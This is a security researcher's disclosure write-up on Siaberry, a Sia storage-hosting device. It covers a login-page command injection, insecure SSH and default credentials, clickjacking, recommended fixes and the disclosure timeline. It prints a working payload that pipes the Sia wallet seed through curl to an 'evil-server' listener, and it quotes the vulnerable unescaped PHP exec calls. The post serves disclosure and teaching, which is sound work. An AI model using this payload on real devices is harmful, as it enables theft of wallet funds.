Siaberry's Command Injection Vulnerability
Today, I’d like to share several interesting vulnerabilities I discovered in Siaberry, a hardware device for earning cryptocurrency.
Siaberry runs on Sia, a decentralized marketplace for buying and selling data storage. The device is intended to give consumers a plug ‘n play solution to sell storage on Sia’s network, though the two teams have no formal relationship. As buyers purchase space, Siaberry earns income for its owner in the form of Sia’s utility token, Siacoin.
I run a Sia node on my Synology NAS, but I was drawn to Siaberry’s promise of a user-friendly web UI. I took Siaberry for a test drive, and I was blown away by how many serious issues I discovered within just a few hours.
Command injection: working exploit
My most exciting finding was a command injection vulnerability on the login page.
In the video below, I demonstrate how an attacker can extract the private key from the victim’s Sia wallet simply by entering a particular password on Siaberry’s login page:
Understanding the vulnerability
The vulnerability is so obvious that many developers and security experts could tell you exactly what the code looked like by watching the video demo above. I’ll confirm your suspicions.
The problem occurred in ActionPage.php
:
$user=$_POST['uname'];
$pass=$_POST['psw'];
exec("sudo bin/checker $user $pass", $output, $exitcode);
That’s it. That’s the whole vulnerability.
Siaberry took untrusted input directly from an HTTP POST request and immediately executed it in the shell. This was a painfully easy vulnerability to exploit.
How the exploit works
To exploit this, I created an attack server called evil-server
. From that machine, I started netcat to dump all traffic it received on port 5555. For convenience, I used a server on my local network, but the same attack would work with any server address, remote or local.
I then used foo
as the username and supplied a password of badpassword || curl -d "$(siac wallet seeds)" -X POST evil-server:5555
.
When ActionPage.php
reached its exec
line, it executed the following command:
sudo bin/checker foo badpassword || \
curl -d "$(siac wallet seeds)" -X POST evil-server:5555
This caused the shell to execute three different commands. The first was the command that Siaberry meant to execute:
sudo bin/checker foo badpassword
This returned a non-zero exit code because foo
/badpassword
was a bad username/password combination. Therefore, the shell proceeded to execute the other side of the ||
, starting with the embedded command:
siac wallet seeds
This launched siac
, the Sia command-line interface. Those command-line parameters tell Sia to print its wallet seed to the console. The wallet seed is a 29-word passphrase that represents the wallet’s private key. Anyone who has this passphrase completely controls all funds in the victim’s wallet.
curl -d "$(siac wallet seeds)" -X POST evil-server:5555
Finally, the curl command made an HTTP POST request to http://evil-server:5555
, sending the Sia wallet seed as the payload. The attacker, capturing messages on port 5555, recorded the victim’s wallet seed, giving them the ability to steal all funds in the victim’s wallet.
Where have I heard this before?
Interestingly, Reddit commenters warned of this exact vulnerability seven months ago. They failed to find a working exploit, but they correctly noted the dangerous pattern of placing user-controlled data into exec
calls.
Siaberry’s developer, Kete Tefid, dismissed their warnings and insisted that calls to exec
were perfectly safe:
Kete then edited his Siaberry release announcement to include this note:
A word on security
TLDR; It is secure.
I have put much time into the software to make sure that everything works accordingly. I myself have checked things and tried to break possible forms literally more than a thousand times to the point that I was certain that I myself cannot somehow break it and get unauthorized access.
-Kete Tefid, Siaberry developer
Why the impact is still low
Though arbitrary command injection on the login screen might seem scary, the effective impact of this issue is low.
There are very few Siaberry users in the wild, probably on the order of dozens. Of the few hosts that use Siaberry, none of them appear to have configured their devices to accept traffic from the Internet.
A cross-site request forgery (CSRF) vulnerability could have amplified the severity, but I was unable to find any viable CSRF attacks. A CSRF attack is one in which the attacker convinces the victim to visit a malicious web page, then uses JavaScript to force the victim’s browser to make arbitrary HTTP requests to a different site.
If Siaberry were vulnerable to CSRF attacks, the command injection vulnerability would have greater severity because the attacker could take control of any Siaberry device simply by convincing anyone on the device’s local network to visit a malicious website.
Siaberry architecture is fundamentally insecure
While Siaberry’s command injection vulnerability might appear to be a single, careless mistake, investigation of the codebase reveals an entire application architecture that is fundamentally insecure.
Interprocess communication via shell commands
Siaberry’s web app comes bundled with 25 shell scripts in the bin/
folder. The web app is responsible for executing these scripts through PHP exec
or shell_exec
calls, many of them with sudo privileges.
If the attacker controls the command string, they can inject commands and trick Siaberry into executing them, as shown with the vulnerability above.
It’s certainly possible to prevent command injection by restricting user inputs and sanitizing them for the shell, but that only works if the developer gets it right every single time. It’s safer to avoid shell commands entirely as a form of interprocess communication. There are plenty of other ways for apps to communicate where the communication channel itself cannot accidentally execute arbitrary code as a side-effect.
Excessive web app privileges
Siaberry is a multi-tier application. The part the user sees is the web app frontend, but there are many background processes the user interacts with indirectly through the web app, including the Sia daemon itself.
In any multi-tier application, the web app is the most likely component to be compromised because it handles the highest volume of untrusted input. Because of this, secure architectures follow the principle of least privilege in which they strictly limit the web app’s permissions. That way, if an attacker compromises the web app, they don’t gain control of the entire system.
Siaberry doesn’t follow this principle, at least not entirely. The web app performs actions as root
, though it does limit these tasks to a whitelist of shell scripts. It’s poor practice to give a web app sudo privileges, but it’s better than the naïve solution of running the entire app as root
.
My recommendations
Short-term: Use escapeshellarg
The first note in PHP’s documentation for exec
warns developers that they must escape any user-controllable input they pass to this function. Siaberry’s code never heeds this warning.
As a short-term patch, Siaberry should wrap all user-controlled shell arguments using the escapeshellarg
function. This would prevent the attacker from abusing shell metacharacters to inject commands.
It’s not a good long-term solution because it’s fundamentally dangerous to perform interprocess communication through shell commands. It would serve as a reasonable stopgap until Siaberry migrates to a more robust design.
Long-term: Use a privileged broker process
The long-term fix requires Siaberry to address the weaknesses in its architecture. I believe the best way to do this is to add a privileged broker process.
The broker process would run in a separate user context from the web app. It would have permissions to perform privileged actions that Siaberry needs, such as formatting a USB drive or accessing the user’s Sia wallet.
The broker process should offer an interprocess communication channel that doesn’t risk side effects. One example of a safer channel would be an HTTP REST service over a localhost
port. Another option is a message queue, such as RabbitMQ.
The broker should be the only process that communicates directly with Sia. Siaberry could achieve this by configuring Sia to require a password for API calls and allowing only the broker process to have access to the password.
I’d go a step further and run the web app within a Docker container so that if it’s compromised, the attacker has access only to the container and not the full system. The attacker would only be able to perform actions that the web app is allowed to perform. They couldn’t dump private keys, as in the exploit demo above, because that’s not something that the web app currently needs to do.
With the heavy lifting delegated to the broker, Siaberry could remove all the dangerous exec
and exec_shell
commands from its code and harden its PHP configuration so that it can’t execute arbitrary shell commands even in the case of bugs in the web app.
Reporting the vulnerability to Siaberry
I reported this vulnerability to Siaberry on 2018-04-01 (unrelated to April Fool’s Day). Kete, Siaberry’s developer, was skeptical that the issue was exploitable, but eventually agreed after I sent him a video demo.
Kete rejected both my short- and long-term recommendations. He told me that Siaberry was intentionally designed so that the web app would have special privileges. He declined my suggestion of a privileged broker by claiming that it’s equal in risk to a privileged web app and adds unnecessary complexity. I cited the principle of least privilege and pointed out that web apps process a large volume of user input, but Kete insisted it would be “a complete reinvention of the wheel.”
I reported several other security findings to Kete, but he dismissed almost all of them as deliberate engineering decisions Siaberry made to facilitate ease of use.
Failure to agree on disclosure timeline
After reporting the issues I found, I told Kete that I planned to publish my findings but would follow responsible disclosure. I offered to give Siaberry sufficient time to implement fixes and deploy them to customer devices.
At only ~2,000 lines of code, Siaberry’s web app is relatively small. I was expecting Kete to give me a fix timeline on the scale of days or weeks. I was floored when he told me he needed six months.
Given the size of the application, I felt that six months was an entirely unreasonable request. I told Kete that I could give him at most 60 days. At this, Kete became irate and has since refused all communication with me.
Siaberry’s brittle fix
The following day, I saw that Kete applied a hacky, superficial fix to ActionPage.php
:
$user=$_POST['uname'];
$pass=$_POST['psw'];
if (preg_match('/^[a-z0-9]*$/',$user) && preg_match('/^[a-zA-Z0-9*!@#^_]*$/',$pass)) {
...
exec("sudo bin/checker $user $pass", $output, $exitcode);
This does indeed break my proof-of-concept exploit, but it’s a weak fix. It eliminates shell metacharacters, but in a “roll your own” fashion that relies on regular expressions.
I can’t think of a bypass, but I also wouldn’t be surprised if someone found a clever way to evade the filter by abusing character encoding, regular expression subtleties, or quirks of shell interpretation. I have more confidence in the escapeshellarg
function because it’s purpose-built to prevent this exact attack.
The rest of my security findings, in brief
In addition to the login vulnerability above, I reported several issues to Siaberry that they never fixed.
It has now been over 60 days, which I feel was sufficient time for Siaberry to make a good-faith effort to implement fixes. In that time, Siaberry has made only two changes to the web app, totaling less than 10 lines of code.
I don’t believe that Siaberry has any intention of fixing the vulnerabilities I reported to them, so I am disclosing the remaining issues below.
A dozen more command injection vulnerabilities
The login bypass vulnerability I described above was notable in that it did not require authentication. There are many more command injection vulnerabilities in the code that follow a similar pattern, but they’re only accessible to authenticated users.
In the SetParams.php file, there are twelve instances where Siaberry blindly executes user-supplied strings, such as in the following snippet:
if (isset($_POST['autoUnlockpass'])) {
$autounlockpass=$_POST['autoUnlockpass'];
exec("sudo ../bin/SetAutoUnlock $autounlockpass");
}
Siaberry uses insecure SSH settings
Siaberry ships with SSH enabled by default. Further, Siaberry allows SSH login by root
which is generally considered poor practice.
At first glance, this seems forgivable given that Siaberry is meant to run headless (no physical display). Then I realized that Siaberry’s documentation doesn’t mention SSH at all, so users bear all the risks of remote access with none of the benefits.
Siaberry uses insecure default credentials
Both the standard user account and the root
account use a default password of siaberry
. The app never prompts the user to change these default credentials.
The documentation recommends that the user reset their passwords, but a user who skips the documentation could very well use Siaberry without ever realizing they’re supposed to change their password or that there’s even a root
password to change.
Siaberry is vulnerable to clickjacking
Clickjacking is an attack in which the attacker lures the victim to a malicious website and then induces them to click the screen. Unbeknownst to the victim, they’re actually clicking buttons on a different website that the attacker has overlayed in an invisible iframe.
As the name implies, a clickjacking attack is limited to mouse clicks, so it’s not possible for the attacker to compromise Siaberry in any way that involves typing (e.g., sending victim funds to an attacker-controlled address). There is still plenty that Siaberry allows the user to do purely through clicks, such as reformatting the victim’s flash drive, which would cause them to default on all of their Sia storage contracts and lose all their collateral.
The fix is trivial. Siaberry should set the Content-Security-Policy: frame-ancestors
HTTP header in server responses, but the web app does not do this.
Defense in depth
The following public comment from Kete perhaps explains Siaberry’s lack of action on these additional issues:
Some friends have commented that putting foo in bar will make boo. The point is that you should first break into the login and get authorized access to be able to set foo in bar. Secondly, this is not a central, shared website which everyone can connect to. it is your OS; I do not know why a user would want to break his own OS after he logs into [sic].
-Kete Tefid, Siaberry developer
To understand the problem with this reasoning, imagine the following separate, hypothetical scenarios:
- Scenario #1: There’s a CSRF vulnerability that allows anonymous users to modify the Sia directory path through the Siaberry web app.
- Naïve response: “Who cares? Why would the attacker want to do that?”
- Scenario #2: There’s a command-injection vulnerability that allows an attacker to execute arbitrary commands by setting the Sia directory path in the web app to a specially crafted value, but they have to be logged in to do it.
- Naïve response: “Who cares? Why would an authenticated user attack themselves?”
Separately, these vulnerabilities are harmless, but together, they would be quite dangerous.
Secure systems protect not only their external perimeter but their inner defenses as well. This is known as defense in depth. You never know that the vulnerability you see is the only one in the system. The right decision in most cases is to fix the vulnerabilities you can see so that you limit the damage of those you can’t.
Timeline
- 2018-04-01: I report all of my findings to Siaberry developer Kete Tefid.
- 2018-04-02: Kete patches the command injection vulnerability on the login page.
- 2018-04-05: I follow up with Kete to ask if Siaberry plans to fix the remaining issues I reported.
- 2018-04-06: Kete responds, “I will be working on them but as I said it might not be done within your time frame. So as I said before, you are free to go according to your own plan.”
- 2018-04-06: I request clarification on what issues he plans to fix, but Kete refuses to speak with me.
- 2018-06-11: My 60-day blackout window elapses. I publicly disclose all issues that I reported to Siaberry.
Conclusion: Avoid Siaberry
For a host to earn money on the Sia network, it needs to keep a hot wallet carrying sufficient Siacoin to guarantee its contracts. It’s not unusual for the value of the Siacoin in the host’s wallet to reach hundreds or even thousands of US dollars’ worth of Siacoin.
Whenever you give software access to your Sia node, you’re increasing the attack surface of your wallet and therefore increasing the risk of compromise. If the software provides high value and has robust security, this tradeoff can be worthwhile.
Siaberry’s team does not demonstrate an understanding or commitment to security. I don’t believe they are trustworthy custodians of your Siacoin, so I recommend against using Siaberry software to manage your Sia node.
Still not convinced?
While researching this article, I discovered enough troubling business practices from Siaberry for a whole additional post. Check back tomorrow for my follow-up article, “The Many Other Reasons to Avoid Siaberry.”